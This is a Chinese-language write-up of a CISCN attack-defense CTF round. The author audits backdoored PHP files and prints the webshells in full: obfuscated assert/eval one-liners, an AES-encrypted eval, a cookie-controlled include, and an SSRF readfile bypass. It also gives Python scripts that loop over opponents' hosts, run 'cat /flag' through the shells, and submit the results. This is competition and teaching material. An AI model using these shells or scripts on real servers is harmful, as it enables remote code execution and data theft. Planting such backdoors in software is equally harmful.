目录
拿到账号第一步还是要连接xshell修改密码 passwd
然后连接WinSCP将源码拖下来用D盾去扫描
扫描出的六个漏洞,依次进行代码审查
.config_common.php
<?php
error_reporting(0);
set_time_limit(0);
$a=base64_decode("Y"."X"."N"."z"."Z"."X"."J"."0");
$a(@${"_P"."O"."S"."T"}[520]);
echo $a;
?>
$a是通过将拼接的字符(YXNzZXJ0)进行base64转码得到assert,再通过与$POST[520]进行拼接,得到完整的一句话木马 assert($POST[520]),就可以进行构造利用
注意:URL的填写
自动化脚本
import requests
url = 'http://118.89.227.105'
shell={"520":"system(\"cat /flag\");"}
for i in range(1,9):
ip=url+":880%s/.config_common.php"%i
re=requests.post(url=ip,data=shell)
print(re.text)
if re.status_code == 200:
flag = str(re.text)
url_flag="http://118.89.227.105:9090"
data = {"flag":flag , "token":"97e361a1df6b0cd7bfda8c1f7be7bdb3"}
subflag = requests.post(url=url_flag,data=data)
print(subflag.url)
if "success" in subflag.text:
print("submit flag seccess")
else:
continue
pdd.php
<?php @eval($_REQUEST["pdsdt"]);?>
简单的一句话木马利用
ciscn_config.php
<?php
echo "Mysql閾炬帴閰嶇疆";
error_reporting(0);
$con = mysql_connect ("127.0.0.1", "root", "c933ccc3b6b2fe8cb830a5e76f5f98a5");
if (!$con){
print('Could not connect: ' . mysqli_error());
}
mysql_select_db("ciscn_web", $con);
forward_static_call_array(assert,array($_POST["x"]));
class c
{
public $code = null;
public $decode = null;
function __construct()
{ $this->code='ZXZhbCgkX1BPU1RbcGFzc10pOw==';
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
}
new c();
?>
直接看class c里面的函数
调用_construct()函数,将一段base64的编码放入code中,再解码放入decode中,放进eval()函数中进行执行
通过解码这段base64可以得到一句话木马
eval($_POST[pass]);
ciscn_include.php
<?php
$cookie=$_COOKIE["cookie"];
@error_reporting(0);
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
}
include($cookie);
?>
$cookie=$_COOKIE["cookie"];
include($cookie);
可以通过cookie调用include()函数
在common.css中存在highlight_file()函数
<?php
highlight_file("/flag");
?>
则可以通过include()函数调用common.css文件,显示flag,由于common.css与ciscn_include.php不在同一目录下,在cookie调用的时候需要规定同一目录..
自动化脚本
import requests
url = 'http://118.89.227.105'
headers={"Cookie":"cookie=../css/common.css"}
for i in range(1,9):
ip=url+":880%s/blog/ciscn_include.php"%i
re=requests.post(url=ip,headers=headers)
if re.status_code == 200:
flag = str(re.text)[36:68]
print(flag)
url_flag="http://118.89.227.105:9090"
data = {"flag":flag , "token":"97e361a1df6b0cd7bfda8c1f7be7bdb3"}
subflag = requests.post(url=url_flag,data=data)
print(subflag.url)
if "success" in subflag.text:
print("submit flag seccess")
else:
continue
再去分析中间部分的代码
@error_reporting(0);
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
}
如果为post传参,将key赋值为e45e329feb5d925b,如果存在openssl扩展,则执行else语句
$post=openssl_decrypt($post, "AES128", $key);
这句话将post传入的参数进行AES解密,然后再传输
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
$arr中利用’|’将数组进行拆分,使得我们post传输的命令为数组的第二位,并将其定义到$params变量中,再通过call_user_func()函数将$params中的命令以eval()函数执行
将我们要传输的php命令进行AES的加密
<?php
$key="e45e329feb5d925b";
$post="|echo `cat /flag`;";
$post=openssl_encrypt($post, "AES128", $key);
print_r($post);
//CiDtH1P3p4Ka6hH8BzNW6xe1JCyXvj6vshGKiZH14eg=
进行post传参传入shell
.111.php
代码比较简单,进行指定post传参,如果符合判断要求,执行system命令,读取/flag
<?php
$pass=$_POST["password"];
if($pass == "4eff2c041976ea22afb7092a53188c70")
{
system($_GET["getshell"]);
readfile("/flag");
}
else
{
echo "be1c5ff7101b7791469b5df2315cf75a";
}
?>
4eff2c041976ea22afb7092a53188c70.php
简单一句话木马利用
<?php
eval($_POST["cmd"]);
?>
注意php页面路径问题
ciscn_notes.php
<?php
error_reporting(0);
session_start();
include('ciscn_config.php');
if(isset($_GET['id'])){
$id = mysql_real_escape_string($_GET['id']);
if(isset($_GET['topic'])){
$topic = mysql_real_escape_string($_GET['topic']);
$topic = sprintf("AND topic='%s'", $topic);
}else{
$topic = '';
}
$sql = sprintf("SELECT * FROM notes WHERE id='%s' $topic", $id);
$result = mysql_query($sql,$con);
$row = mysql_fetch_array($result);
if(isset($row['topic'])&&isset($row['substance'])){
echo "<h1>".$row['topic']."</h1><br>".$row['substance'];
die();
}else{
die("You're wrong!");
}
}
class ciscn_nt {
var $a;
var $b;
function __construct($a,$b) {
$this->a=$a;
$this->b=$b;
}
function test() {
array_map($this->a,$this->b);
}
}
$p1=new ciscn_nt(assert,array($_POST['x']));
$p1->test();
?>
重点关注后半段代码,调用construct()函数将$a、$b赋值给a、b,通过array_map()回调函数将a,b分别定义给assert和$_POST[‘x],再定义了new ciscn_nt()函数,将a b进行拼接执行函数,构造成:
<?php assert($_POST['x'];?)
这样就可以利用一句话木马进行getshell
ciscn_url.php
<?php
$url = $_GET['url'];
$parts = parse_url($url);
if(empty($parts['host']) || $parts['host'] != 'localhost') {
exit('error');
}
readfile($url);
?>
简单分析代码,通过get传参一个url,parse_url()函数进行一个模拟访问输入的url,并且要求url中一定含有localhost,这样就可以执行readfile命令
先从模拟访问url开始,模拟访问要调用http协议
然后再执行readfile()命令,需要用到file协议,直接读取/flag